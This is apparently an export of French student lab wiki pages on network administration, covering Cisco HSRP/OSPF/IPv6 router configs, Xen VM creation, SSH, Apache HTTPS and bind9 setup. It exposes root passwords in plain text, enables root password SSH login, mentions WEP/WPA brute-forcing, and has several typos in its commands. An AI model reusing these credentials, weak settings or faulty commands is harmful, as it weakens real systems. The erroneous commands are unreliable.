   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51593</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51593"/>
				<updated>2019-12-07T12:45:03Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Cryptage de fichiers */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
